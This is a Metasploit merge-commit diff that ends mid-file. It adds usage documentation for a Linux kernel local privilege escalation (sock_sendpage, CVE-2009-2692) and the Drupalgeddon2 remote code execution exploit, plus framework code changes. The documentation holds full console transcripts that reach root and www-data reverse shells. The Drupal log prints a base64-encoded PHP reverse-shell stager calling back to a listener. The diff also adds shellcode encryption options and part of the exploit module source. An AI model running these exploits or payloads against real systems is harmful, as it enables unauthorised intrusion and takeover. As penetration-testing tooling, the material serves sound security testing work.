Merged master

GSoC/Meterpreter_Web_Console
christopher lee 2018-04-26 16:02:56 -05:00
commit 516b61ebaa
30 changed files with 1359 additions and 161 deletions

View File

@ -209,7 +209,7 @@ GEM
coderay (~> 1.1.0)
method_source (~> 0.9.0)
public_suffix (3.0.2)
rack (1.6.9)
rack (1.6.10)
rack-protection (1.5.5)
rack
rack-test (0.6.3)

Binary file not shown.

View File

@ -0,0 +1,121 @@
## Description
The Linux kernel failed to properly initialize some entries in the
`proto_ops` struct for several protocols, leading to `NULL` being
dereferenced and used as a function pointer. By using `mmap(2)` to map
page `0`, an attacker can execute arbitrary code in the context of the
kernel.
## Vulnerable Application
Several public exploits exist for this vulnerability, including
spender's `wunderbar_emporium` and rcvalle's ppc port, `sock_sendpage.c`.
All Linux 2.4/2.6 versions since May 2001 are believed to be affected:
* 2.4.4 up to and including 2.4.37.4
* 2.6.0 up to and including 2.6.30.4
This module has been tested successfully on:
* CentOS 5.0 (i386) with kernel version 2.6.18-8.1.1.tl5
* Debian 3.1r8 Sarge (i686) with kernel version 2.4.27-3-386
## Verification Steps
1. Start `msfconsole`
2. Get a session
3. `use exploit/linux/local/sock_sendpage`
4. `set SESSION [SESSION]`
5. `check`
6. `run`
7. You should get a new *root* session
## Options
**SESSION**
Which session to use, which can be viewed with `sessions`
**WritableDir**
A writable directory file system path. (default: `/tmp`)
**DEBUG_EXPLOIT**
Enable exploit debug messages. (default: `false`)
## Scenarios
### CentOS 5.0 (i386) with kernel version 2.6.18-8.1.1.tl5
```
msf > use exploit/linux/local/sock_sendpage
msf exploit(linux/local/sock_sendpage) > set session 1
session => 1
msf exploit(linux/local/sock_sendpage) > set verbose true
verbose => true
msf exploit(linux/local/sock_sendpage) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(linux/local/sock_sendpage) > run
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 172.16.191.188:4444
[+] Kernel version 2.6.18 appears to be vulnerable
[+] System architecture i686 is supported
[+] vm.mmap_min_addr is not set
[*] Writing '/tmp/.MCpzrCREnMXU' (3509 bytes) ...
[*] Max line length is 65537
[*] Writing 3509 bytes in 1 chunks of 10560 bytes (octal-encoded), using printf
[*] Executing payload...
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (857352 bytes) to 172.16.191.159
[*] Meterpreter session 34 opened (172.16.191.188:4444 -> 172.16.191.159:37663) at 2018-04-10 06:50:13 -0400
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : 172.16.191.159
OS : CentOS 5 (Linux 2.6.18-8.1.1.tl5)
Architecture : i686
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
```
### Debian 3.1r8 Sarge (i686) with kernel version 2.4.27-3-386
```
msf > use exploit/linux/local/sock_sendpage
msf exploit(linux/local/sock_sendpage) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf exploit(linux/local/sock_sendpage) > set session 1
session => 1
msf exploit(linux/local/sock_sendpage) > run
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 172.16.191.188:4444
[+] Kernel version 2.4.27 appears to be vulnerable
[+] System architecture i686 is supported
[+] vm.mmap_min_addr is not set
[*] Writing '/tmp/.69p3FeagB' (3509 bytes) ...
[*] Max line length is 65537
[*] Writing 3509 bytes in 1 chunks of 10560 bytes (octal-encoded), using printf
[*] Executing payload...
[*] Sending stage (36 bytes) to 172.16.191.227
[*] Command shell session 35 opened (172.16.191.188:4444 -> 172.16.191.227:32836) at 2018-04-10 06:59:08 -0400
[!] Tried to delete /tmp/.69p3FeagB, unknown result
3356110123
lfvaliLFShnAfRQkCHUXFtuyGXKylJSN
TJloQpOJsrsnQSfZpNAjWcbqNuHanLeI
LeKIAUjwBMRhxjJjVvvrdvwErYZnxPYr
id
uid=0(root) gid=0(root) groups=100(users)
uname -a
Linux sarge 2.4.27-3-386 #1 Wed Dec 6 00:38:33 UTC 2006 i686 GNU/Linux
```

View File

@ -0,0 +1,110 @@
## Intro
This module exploits a Drupal property injection in the Forms API.
Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.
## Setup
Use the provided Docker images here: <https://hub.docker.com/_/drupal/>.
Alternatively, you may use TurnKey Linux's distributions:
Drupal 7.54: <http://mirror.turnkeylinux.org/turnkeylinux/images/iso/turnkey-drupal7-14.2-jessie-amd64.iso>
Drupal 8.3.1: <http://mirror.turnkeylinux.org/turnkeylinux/images/iso/turnkey-drupal8-14.2-jessie-amd64.iso>
Tested on 7.57 and 8.4.5 in Docker and 7.54 and 8.3.1 in TurnKey.
## Targets
```
Id Name
-- ----
0 Automatic (PHP In-Memory)
1 Automatic (PHP Dropper)
2 Automatic (Unix In-Memory)
3 Automatic (Linux Dropper)
4 Drupal 7.x (PHP In-Memory)
5 Drupal 7.x (PHP Dropper)
6 Drupal 7.x (Unix In-Memory)
7 Drupal 7.x (Linux Dropper)
8 Drupal 8.x (PHP In-Memory)
9 Drupal 8.x (PHP Dropper)
10 Drupal 8.x (Unix In-Memory)
11 Drupal 8.x (Linux Dropper)
```
Automatic targeting means the Drupal version will be detected first.
Targets with a specific version will do as they're told (regardless of
what the server is running).
Dropper targets write to disk. In-memory targets don't. Be mindful of
showing up in someone's process list, though. A dropper might be more
viable in that regard.
## Options
**TARGETURI**
Set this to the remote path of the vulnerable Drupal install. Defaults
to `/` for the web root.
**PHP_FUNC**
Set this to the PHP function you'd like to execute. Defaults to
`passthru`.
**DUMP_OUTPUT**
Enable this if you'd like to see HTTP responses, including command
output. Defaults to `false` unless `cmd/unix/generic` is your payload.
**VERBOSE**
Enable this to show what function and command were executed. Defaults to
`false` due to the sometimes excessive output.
**ForceExploit**
Enable this to force exploitation regardless of the check result.
Defaults to `false`, meaning the check result is respected.
**WritableDir**
Set this to a writable directory without `noexec` for binary payloads.
Defaults to `/tmp`, but other options may include `/var/tmp` and
`/dev/shm`.
## Usage
Drupal 7.57 from the Docker image is tested below.
```
msf5 > use exploit/unix/webapp/drupal_drupalgeddon2
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhost 172.17.0.3
rhost => 172.17.0.3
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set verbose true
verbose => true
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > check
[*] Drupal 7.x targeted at http://172.17.0.3/
[+] Drupal appears unpatched in CHANGELOG.txt
[*] Executing with printf(): sdHl4fLONOKfVZL1cEvXuJCuSkue
[+] 172.17.0.3:80 The target is vulnerable.
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Drupal 7.x targeted at http://172.17.0.3/
[+] Drupal appears unpatched in CHANGELOG.txt
[*] Executing with printf(): paAHBb9jyovEnLrrT5lMIB
[*] Executing with assert(): eval(base64_decode(Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzE3Mi4xNy4wLjEnOyAkcG9ydCA9IDQ0NDQ7IGlmICgoJGYgPSAnc3RyZWFtX3NvY2tldF9jbGllbnQnKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZigidGNwOi8veyRpcH06eyRwb3J0fSIpOyAkc190eXBlID0gJ3N0cmVhbSc7IH0gaWYgKCEkcyAmJiAoJGYgPSAnZnNvY2tvcGVuJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoJGlwLCAkcG9ydCk7ICRzX3R5cGUgPSAnc3RyZWFtJzsgfSBpZiAoISRzICYmICgkZiA9ICdzb2NrZXRfY3JlYXRlJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoQUZfSU5FVCwgU09DS19TVFJFQU0sIFNPTF9UQ1ApOyAkcmVzID0gQHNvY2tldF9jb25uZWN0KCRzLCAkaXAsICRwb3J0KTsgaWYgKCEkcmVzKSB7IGRpZSgpOyB9ICRzX3R5cGUgPSAnc29ja2V0JzsgfSBpZiAoISRzX3R5cGUpIHsgZGllKCdubyBzb2NrZXQgZnVuY3MnKTsgfSBpZiAoISRzKSB7IGRpZSgnbm8gc29ja2V0Jyk7IH0gc3dpdGNoICgkc190eXBlKSB7IGNhc2UgJ3N0cmVhbSc6ICRsZW4gPSBmcmVhZCgkcywgNCk7IGJyZWFrOyBjYXNlICdzb2NrZXQnOiAkbGVuID0gc29ja2V0X3JlYWQoJHMsIDQpOyBicmVhazsgfSBpZiAoISRsZW4pIHsgZGllKCk7IH0gJGEgPSB1bnBhY2soIk5s.ZW4iLCAkbGVuKTsgJGxlbiA9ICRhWydsZW4nXTsgJGIgPSAnJzsgd2hpbGUgKHN0cmxlbigkYikgPCAkbGVuKSB7IHN3aXRjaCAoJHNfdHlwZSkgeyBjYXNlICdzdHJlYW0nOiAkYiAuPSBmcmVhZCgkcywgJGxlbi1zdHJsZW4oJGIpKTsgYnJlYWs7IGNhc2UgJ3NvY2tldCc6ICRiIC49IHNvY2tldF9yZWFkKCRzLCAkbGVuLXN0cmxlbigkYikpOyBicmVhazsgfSB9ICRHTE9CQUxTWydtc2dzb2NrJ10gPSAkczsgJEdMT0JBTFNbJ21zZ3NvY2tfdHlwZSddID0gJHNfdHlwZTsgaWYgKGV4dGVuc2lvbl9sb2FkZWQoJ3N1aG9zaW4nKSAmJiBpbmlfZ2V0KCdzdWhvc2luLmV4ZWN1dG9yLmRpc2FibGVfZXZhbCcpKSB7ICRzdWhvc2luX2J5cGFzcz1jcmVhdGVfZnVuY3Rpb24oJycsICRiKTsgJHN1aG9zaW5fYnlwYXNzKCk7IH0gZWxzZSB7IGV2YWwoJGIpOyB9IGRpZSgpOw));
[*] Sending stage (37775 bytes) to 172.17.0.3
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.3:46654) at 2018-04-24 23:25:17 -0500
meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer : b3a405d5568a
OS : [redacted]
Meterpreter : php/linux
meterpreter >
```

View File

@ -6,8 +6,10 @@ require 'metasploit/framework/data_service/stubs/note_data_service'
require 'metasploit/framework/data_service/stubs/web_data_service'
require 'metasploit/framework/data_service/stubs/service_data_service'
require 'metasploit/framework/data_service/stubs/session_data_service'
require 'metasploit/framework/data_service/stubs/session_event_service'
require 'metasploit/framework/data_service/stubs/exploit_data_service'
require 'metasploit/framework/data_service/stubs/loot_data_service'
require 'metasploit/framework/data_service/stubs/msf_data_service'
#
# All data service implementations should include this module to ensure proper implementation
@ -23,8 +25,10 @@ module DataService
include NoteDataService
include ServiceDataService
include SessionDataService
include SessionEventDataService
include ExploitDataService
include LootDataService
include MsfDataService
def name
raise 'DataService#name is not implemented';
@ -34,6 +38,10 @@ module DataService
raise 'DataService#active is not implemented';
end
def active=(value)
raise 'DataService#active= is not implemented';
end
def is_local?
raise 'DataService#is_local? is not implemented';
end

View File

@ -51,30 +51,36 @@ class DataProxy
end
#
# Registers a data service with the proxy and immediately
# set as primary if online
# Registers the specified data service with the proxy
# and immediately sets it as the primary if active
#
def register_data_service(data_service, online=false)
def register_data_service(data_service)
validate(data_service)
data_service_id = @data_service_id += 1
@data_services[data_service_id] = data_service
set_data_service(data_service_id, online)
set_data_service(data_service_id)
end
#
# Set the data service to be used
#
def set_data_service(data_service_id, online=false)
def set_data_service(data_service_id)
data_service = @data_services[data_service_id.to_i]
if data_service.nil?
raise "Data service with id: #{data_service_id} does not exist"
end
if !online && !data_service.active
raise "Data service not online: #{data_service.name}, not setting as active"
if !data_service.is_local? && !data_service.active
raise "Data service #{data_service.name} is not online, and won't be set as active"
end
prev_data_service = @current_data_service
@current_data_service = data_service
# reset the previous data service's active flag if it is remote
# to ensure checks are performed the next time it is set
if !prev_data_service.nil? && !prev_data_service.is_local?
prev_data_service.active = false
end
end
#
@ -153,12 +159,12 @@ class DataProxy
begin
db_manager = opts.delete(:db_manager)
if !db_manager.nil?
register_data_service(db_manager, true)
register_data_service(db_manager)
@usable = true
else
@error = 'disabled'
end
rescue Exception => e
rescue => e
raise "Unable to initialize data service: #{e.message}"
end
end

View File

@ -19,6 +19,7 @@ module DataProxyAutoLoader
autoload :DbExportDataProxy, 'metasploit/framework/data_service/proxy/db_export_data_proxy'
autoload :DbImportDataProxy, 'metasploit/framework/data_service/proxy/db_import_data_proxy'
autoload :VulnAttemptDataProxy, 'metasploit/framework/data_service/proxy/vuln_attempt_data_proxy'
autoload :MsfDataProxy, 'metasploit/framework/data_service/proxy/msf_data_proxy'
include ServiceDataProxy
include HostDataProxy
@ -36,4 +37,5 @@ module DataProxyAutoLoader
include DbExportDataProxy
include DbImportDataProxy
include VulnAttemptDataProxy
include MsfDataProxy
end

View File

@ -0,0 +1,10 @@
module MsfDataProxy
def get_msf_version
begin
data_service = self.get_data_service
data_service.get_msf_version
rescue => e
self.log_error(e, "Problem retrieving Metasploit version")
end
end
end

View File

@ -49,6 +49,26 @@ class RemoteHTTPDataService
end
def name
"remote_data_service: (#{@endpoint})"
end
def active
# checks if data service is online when @active is falsey and makes the assignment
# this is to prevent repetitive calls to check if data service is online
# logic should be enhanced to considering data service connectivity
# and future data service implementations
@active ||= is_online?
end
def active=(value)
@active = value
end
def is_local?
false
end
def error
'none'
end
@ -161,7 +181,7 @@ class RemoteHTTPDataService
rescue EOFError => e
elog "No data was returned from the data service for request type/path : #{request_type}/#{path}, message: #{e.message}"
return FailedResponse.new('')
rescue Exception => e
rescue => e
elog "Problem with HTTP request for type/path: #{request_type}/#{path} message: #{e.message}"
return FailedResponse.new('')
ensure
@ -169,21 +189,6 @@ class RemoteHTTPDataService
end
end
#
# TODO: fix this
#
def active
return true
end
def name
"remote_data_service: (#{@endpoint})"
end
def is_local?
false
end
def set_header(key, value)
@headers = Hash.new() if @headers.nil?
@ -233,6 +238,19 @@ class RemoteHTTPDataService
raise 'Endpoint cannot be nil' if endpoint.nil?
end
#
# Checks if the data service is online by making a request
# for the Metasploit version number from the remote endpoint
#
def is_online?
response = self.get_msf_version
if response && !response[:metasploit_version].empty?
return true
end
return false
end
def build_request(request, data_hash)
request.content_type = 'application/json'
if !data_hash.nil? && !data_hash.empty?

View File

@ -17,6 +17,7 @@ module DataServiceAutoLoader
autoload :RemoteNmapDataService, 'metasploit/framework/data_service/remote/http/remote_nmap_data_service'
autoload :RemoteDbExportDataService, 'metasploit/framework/data_service/remote/http/remote_db_export_data_service'
autoload :RemoteVulnAttemptDataService, 'metasploit/framework/data_service/remote/http/remote_vuln_attempt_data_service'
autoload :RemoteMsfDataService, 'metasploit/framework/data_service/remote/http/remote_msf_data_service'
include RemoteHostDataService
include RemoteEventDataService
@ -33,4 +34,5 @@ module DataServiceAutoLoader
include RemoteNmapDataService
include RemoteDbExportDataService
include RemoteVulnAttemptDataService
include RemoteMsfDataService
end

View File

@ -0,0 +1,12 @@
require 'metasploit/framework/data_service/remote/http/response_data_helper'
module RemoteMsfDataService
include ResponseDataHelper
MSF_API_PATH = '/api/v1/msf'
MSF_VERSION_API_PATH = "#{MSF_API_PATH}/version"
def get_msf_version
json_to_hash(self.get_data(MSF_VERSION_API_PATH, nil, nil))
end
end

View File

@ -0,0 +1,5 @@
module MsfDataService
def get_msf_version
raise 'MsfDataService#get_msf_version is not implemented'
end
end

View File

@ -18,9 +18,13 @@ module Buffer
# Serializes a buffer to a provided format. The formats supported are raw,
# num, dword, ruby, python, perl, bash, c, js_be, js_le, java and psh
#
def self.transform(buf, fmt = "ruby", var_name = 'buf')
def self.transform(buf, fmt = "ruby", var_name = 'buf', encryption_opts={})
default_wrap = 60
unless encryption_opts.empty?
buf = encrypt_buffer(buf, encryption_opts)
end
case fmt
when 'raw'
when 'num'
@ -120,6 +124,50 @@ module Buffer
]
end
def self.encryption_formats
[
'xor',
'base64',
'aes256',
'rc4'
]
end
private
def self.encrypt_buffer(value, encryption_opts)
buf = ''
case encryption_opts[:format]
when 'aes256'
if encryption_opts[:iv].blank?
raise ArgumentError, 'Initialization vector is missing'
elsif encryption_opts[:key].blank?
raise ArgumentError, 'Encryption key is missing'
end
buf = Rex::Crypto.encrypt_aes256(encryption_opts[:iv], encryption_opts[:key], value)
when 'base64'
buf = Rex::Text.encode_base64(value)
when 'xor'
if encryption_opts[:key].blank?
raise ArgumentError, 'XOR key is missing'
end
buf = Rex::Text.xor(encryption_opts[:key], value)
when 'rc4'
if encryption_opts[:key].blank?
raise ArgumentError, 'Encryption key is missing'
end
buf = Rex::Crypto.rc4(encryption_opts[:key], value)
else
raise ArgumentError, "Unsupported encryption format: #{encryption_opts[:format]}", caller
end
return buf
end
end
end

View File

@ -19,7 +19,10 @@ class DataStore < Hash
@imported_by = Hash.new
end
attr_accessor :options
attr_accessor :aliases
attr_accessor :imported
attr_accessor :imported_by
#
# Clears the imported flag for the supplied key since it's being set
@ -216,6 +219,38 @@ class DataStore < Hash
end
end
#
# Return a deep copy of this datastore.
#
def copy
ds = self.class.new
self.keys.each do |k|
ds.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k], @imported_by[k])
end
ds.aliases = self.aliases.dup
ds
end
#
# Override merge! so that we merge the aliases and imported hashes
#
def merge!(other)
super
if other.is_a? DataStore
self.aliases.merge!(other.aliases)
self.imported.merge!(other.imported)
self.imported_by.merge!(other.imported_by)
end
end
#
# Override merge to ensure we merge the aliases and imported hashes
#
def merge(other)
ds = self.copy
ds.merge!(other)
end
#
# Returns a hash of user-defined datastore values. The returned hash does
# not include default option values.
@ -269,8 +304,8 @@ protected
# Scan each alias looking for a key
search_k = k.downcase
if @aliases.has_key?(search_k)
search_k = @aliases[search_k]
if self.aliases.has_key?(search_k)
search_k = self.aliases[search_k]
end
# Scan each key looking for a match
@ -341,12 +376,12 @@ class ModuleDataStore < DataStore
# Return a deep copy of this datastore.
#
def copy
clone = self.class.new(@_module)
ds = self.class.new(@_module)
self.keys.each do |k|
clone.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k], @imported_by[k])
ds.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k], @imported_by[k])
end
clone.aliases = self.aliases
clone
ds.aliases = self.aliases.dup
ds
end
end

View File

@ -0,0 +1,25 @@
module MsfServlet
def self.api_path
'/api/v1/msf'
end
def self.api_version_path
"#{MsfServlet.api_path}/version"
end
def self.registered(app)
app.get MsfServlet.api_version_path, &get_msf_version
end
#######
private
#######
def self.get_msf_version
lambda {
set_json_response({metasploit_version: Metasploit::Framework::VERSION})
}
end
end

View File

@ -1,21 +0,0 @@
module OnlineTestServlet
def self.api_path
'/api/v1/online'
end
def self.registered(app)
app.get OnlineTestServlet.api_path, &get_active
end
#######
private
#######
def self.get_active
lambda {
set_empty_response()
}
end
end

View File

@ -5,7 +5,7 @@ require 'msf/core/db_manager/http/servlet/note_servlet'
require 'msf/core/db_manager/http/servlet/vuln_servlet'
require 'msf/core/db_manager/http/servlet/event_servlet'
require 'msf/core/db_manager/http/servlet/web_servlet'
require 'msf/core/db_manager/http/servlet/online_test_servlet'
require 'msf/core/db_manager/http/servlet/msf_servlet'
require 'msf/core/db_manager/http/servlet/workspace_servlet'
require 'msf/core/db_manager/http/servlet/service_servlet'
require 'msf/core/db_manager/http/servlet/session_servlet'
@ -26,7 +26,7 @@ class SinatraApp < Sinatra::Base
register VulnServlet
register EventServlet
register WebServlet
register OnlineTestServlet
register MsfServlet
register NoteServlet
register WorkspaceServlet
register ServiceServlet

View File

@ -25,7 +25,7 @@ module Payload::Linux::ReverseTcp_x64
conf = {
port: datastore['LPORT'],
host: datastore['LHOST'],
retry_count: datastore['ReverseConnectRetries'],
retry_count: datastore['StagerRetryCount'],
sleep_seconds: datastore['StagerRetryWait'],
}

View File

@ -83,6 +83,15 @@ module Msf
# @!attribute var_name
# @return [String] The custom variable string for certain output formats
attr_accessor :var_name
# @!attribute encryption_format
# @return [String] The encryption format to use for the shellcode.
attr_accessor :encryption_format
# @!attribute encryption_key
# @return [String] The key to use for the encryption
attr_accessor :encryption_key
# @!attribute encryption_iv
# @return [String] The initialization vector for the encryption (not all apply)
attr_accessor :encryption_iv
# @param opts [Hash] The options hash
@ -123,6 +132,9 @@ module Msf
@var_name = opts.fetch(:var_name, 'buf')
@smallest = opts.fetch(:smallest, false)
@encoder_space = opts.fetch(:encoder_space, @space)
@encryption_format = opts.fetch(:encryption_format, nil)
@encryption_key = opts.fetch(:encryption_key, nil)
@encryption_iv = opts.fetch(:encryption_iv, nil)
@framework = opts.fetch(:framework)
@ -276,15 +288,20 @@ module Msf
# @param shellcode [String] the processed shellcode to be formatted
# @return [String] The final formatted form of the payload
def format_payload(shellcode)
encryption_opts = {}
encryption_opts[:format] = encryption_format if encryption_format
encryption_opts[:iv] = encryption_iv if encryption_iv
encryption_opts[:key] = encryption_key if encryption_key
case format.downcase
when "js_be"
if Rex::Arch.endian(arch) != ENDIAN_BIG
raise IncompatibleEndianess, "Big endian format selected for a non big endian payload"
else
::Msf::Simple::Buffer.transform(shellcode, format, @var_name)
::Msf::Simple::Buffer.transform(shellcode, format, @var_name, encryption_opts)
end
when *::Msf::Simple::Buffer.transform_formats
::Msf::Simple::Buffer.transform(shellcode, format, @var_name)
::Msf::Simple::Buffer.transform(shellcode, format, @var_name, encryption_opts)
when *::Msf::Util::EXE.to_executable_fmt_formats
::Msf::Util::EXE.to_executable_fmt(framework, arch, platform_list, shellcode, format, exe_options)
else

View File

@ -13,7 +13,7 @@ module Kernel
# @return [String]
#
def uname(opts='-a')
cmd_exec("uname #{opts}").to_s
cmd_exec("uname #{opts}").to_s.strip
rescue
raise "Failed to run uname #{opts}"
end
@ -87,18 +87,139 @@ module Kernel
raise 'Could not determine SMEP status'
end
#
# Returns true if Kernel Address Isolation (KAISER) is enabled
#
# @return [Boolean]
#
def kaiser_enabled?
cmd_exec('cat /proc/cpuinfo').to_s.include? 'kaiser'
rescue
raise 'Could not determine KAISER status'
end
#
# Returns true if user namespaces are enabled, false if not.
#
# @return [Boolean]
#
def userns_enabled?
return false if cmd_exec('cat /proc/sys/user/max_user_namespaces').to_s.eql? '0'
cmd_exec('cat /proc/sys/kernel/unprivileged_userns_clone').to_s.eql? '1'
return false if cmd_exec('cat /proc/sys/user/max_user_namespaces').to_s.strip.eql? '0'
cmd_exec('cat /proc/sys/kernel/unprivileged_userns_clone').to_s.strip.eql? '1'
rescue
raise 'Could not determine userns status'
end
#
# Returns true if Address Space Layout Randomization (ASLR) is enabled
#
# @return [Boolean]
#
def aslr_enabled?
aslr = cmd_exec('cat /proc/sys/kernel/randomize_va_space').to_s.strip
(aslr.eql?('1') || aslr.eql?('2'))
rescue
raise 'Could not determine ASLR status'
end
#
# Returns true if unprivileged bpf is disabled
#
# @return [Boolean]
#
def unprivileged_bpf_disabled?
cmd_exec('cat /proc/sys/kernel/unprivileged_bpf_disabled').to_s.strip.eql? '1'
rescue
raise 'Could not determine kernel.unprivileged_bpf_disabled status'
end
#
# Returns true if kernel pointer restriction is enabled
#
# @return [Boolean]
#
def kptr_restrict?
cmd_exec('cat /proc/sys/kernel/kptr_restrict').to_s.strip.eql? '1'
rescue
raise 'Could not determine kernel.kptr_restrict status'
end
#
# Returns true if dmesg restriction is enabled
#
# @return [Boolean]
#
def dmesg_restrict?
cmd_exec('cat /proc/sys/kernel/dmesg_restrict').to_s.strip.eql? '1'
rescue
raise 'Could not determine kernel.dmesg_restrict status'
end
#
# Returns mmap minimum address
#
# @return [Integer]
#
def mmap_min_addr
mmap_min_addr = cmd_exec('cat /proc/sys/vm/mmap_min_addr').to_s.strip
return 0 unless mmap_min_addr =~ /\A\d+\z/
mmap_min_addr
rescue
raise 'Could not determine system mmap_min_addr'
end
#
# Returns true if SELinux is installed
#
# @return [Boolean]
#
def selinux_installed?
cmd_exec('id').to_s.include? 'context='
rescue
raise 'Could not determine SELinux status'
end
#
# Returns true if SELinux is in enforcing mode
#
# @return [Boolean]
#
def selinux_enforcing?
return false unless selinux_installed?
sestatus = cmd_exec('/usr/sbin/sestatus').to_s.strip
raise unless sestatus.include?('SELinux')
return true if sestatus =~ /Current mode:\s*enforcing/
false
rescue
raise 'Could not determine SELinux status'
end
#
# Returns true if Yama is installed
#
# @return [Boolean]
#
def yama_installed?
ptrace_scope = cmd_exec('cat /proc/sys/kernel/yama/ptrace_scope').to_s.strip
return true if ptrace_scope =~ /\A\d\z/
false
rescue
raise 'Could not determine Yama status'
end
#
# Returns true if Yama is enabled
#
# @return [Boolean]
#
def yama_enabled?
return false unless yama_installed?
!cmd_exec('cat /proc/sys/kernel/yama/ptrace_scope').to_s.strip.eql? '0'
rescue
raise 'Could not determine Yama status'
end
end # Kernel
end # Linux
end # Post

View File

@ -1994,7 +1994,7 @@ class Db
framework.db.register_data_service(remote_data_service)
print_line "Registered data service: #{remote_data_service.name}"
framework.db.workspace = framework.db.default_workspace
rescue Exception => e
rescue => e
print_error "There was a problem registering the remote data service: #{e.message}"
end
end
@ -2004,7 +2004,7 @@ class Db
data_service = framework.db.set_data_service(service_id)
framework.db.workspace = framework.db.default_workspace
data_service
rescue Exception => e
rescue => e
print_error "Unable to set data service: #{e.message}"
end
end

View File

@ -114,6 +114,10 @@ require 'rex/compat'
require 'rex/sslscan/scanner'
require 'rex/sslscan/result'
# Cryptography
require 'rex/crypto/aes256'
require 'rex/crypto/rc4'
# Overload the Kernel.sleep() function to be thread-safe
Kernel.class_eval("

33
lib/rex/crypto/aes256.rb Normal file
View File

@ -0,0 +1,33 @@
# -*- coding: binary -*-
module Rex
module Crypto
# Returns an encrypted string using AES256-CBC.
#
# @param iv [String] Initialization vector.
# @param key [String] Secret key.
# @return [String] The encrypted string.
def self.encrypt_aes256(iv, key, value)
aes = OpenSSL::Cipher::AES256.new(:CBC)
aes.encrypt
aes.iv = iv
aes.key = key
aes.update(value) + aes.final
end
# Returns a decrypted string using AES256-CBC.
#
# @param iv [String] Initialization vector.
# @param key [String] Secret key.
# @return [String] The decrypted string.
def self.decrypt_aes256(iv, key, value)
aes = OpenSSL::Cipher::AES256.new(:CBC)
aes.decrypt
aes.iv = iv
aes.key = key
aes.update(value) + aes.final
end
end
end

20
lib/rex/crypto/rc4.rb Normal file
View File

@ -0,0 +1,20 @@
# -*- coding: binary -*-
require 'rc4'
module Rex
module Crypto
# Returns a decrypted or encrypted RC4 string.
#
# @param key [String] Secret key.
# @param [String]
def self.rc4(key, value)
rc4 = RC4.new(key)
# This can also be used to decrypt
rc4.encrypt(value)
end
end
end

View File

@ -10,84 +10,152 @@ require 'msf/core/exploit/exe'
class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::Kernel
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Local::LinuxKernel
include Msf::Exploit::Local::Linux
def initialize(info={})
super( update_info( info, {
'Name' => 'Linux Kernel Sendpage Local Privilege Escalation',
'Description' => %q{
The Linux kernel failed to properly initialize some entries the
proto_ops struct for several protocols, leading to NULL being
dereferenced and used as a function pointer. By using mmap(2) to map
page 0, an attacker can execute arbitrary code in the context of the
kernel.
def initialize(info = {})
super(update_info(info,
'Name' => 'Linux Kernel Sendpage Local Privilege Escalation',
'Description' => %q{
The Linux kernel failed to properly initialize some entries in the
proto_ops struct for several protocols, leading to NULL being
dereferenced and used as a function pointer. By using mmap(2) to map
page 0, an attacker can execute arbitrary code in the context of the
kernel.
Several public exploits exist for this vulnerability, including
spender's wunderbar_emporium and rcvalle's ppc port, sock_sendpage.c.
Several public exploits exist for this vulnerability, including
spender's wunderbar_emporium and rcvalle's ppc port, sock_sendpage.c.
All Linux 2.4/2.6 versions since May 2001 are believed to be affected:
2.4.4 up to and including 2.4.37.4; 2.6.0 up to and including 2.6.30.4
},
'License' => MSF_LICENSE,
'Author' =>
[
'Tavis Ormandy', # discovery
'Julien Tinnes <julien at cr0.org>', # discovery
'spender', # wunderbar_emporium.tgz
'rcvalle', # sock_sendpage.c
'egypt' # metasploit module
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'References' =>
[
[ 'CVE', '2009-2692' ],
[ 'OSVDB', '56992' ],
[ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ]
],
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => "Aug 13 2009",
}
))
register_options([
OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]),
])
register_options([
OptBool.new("DEBUG_EXPLOIT", [ true, "Make the exploit executable be verbose about what it's doing", false ]),
])
All Linux 2.4/2.6 versions since May 2001 are believed to be affected:
2.4.4 up to and including 2.4.37.4; 2.6.0 up to and including 2.6.30.4
This module has been tested successfully on CentOS 5.0 (i386) with
kernel version 2.6.18-8.1.1.tl5; and Debian 3.1r8 Sarge (i686) with
kernel version 2.4.27-3-386.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Tavis Ormandy', # discovery
'Julien Tinnes <julien at cr0.org>', # discovery
'spender', # wunderbar_emporium.tgz
'rcvalle', # sock_sendpage.c
'egypt' # metasploit module
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'References' =>
[
[ 'CVE', '2009-2692' ],
[ 'EDB', '9545' ],
[ 'EDB', '9641' ],
[ 'BID', '36038' ],
[ 'URL', 'https://www.securityfocus.com/archive/1/505751' ],
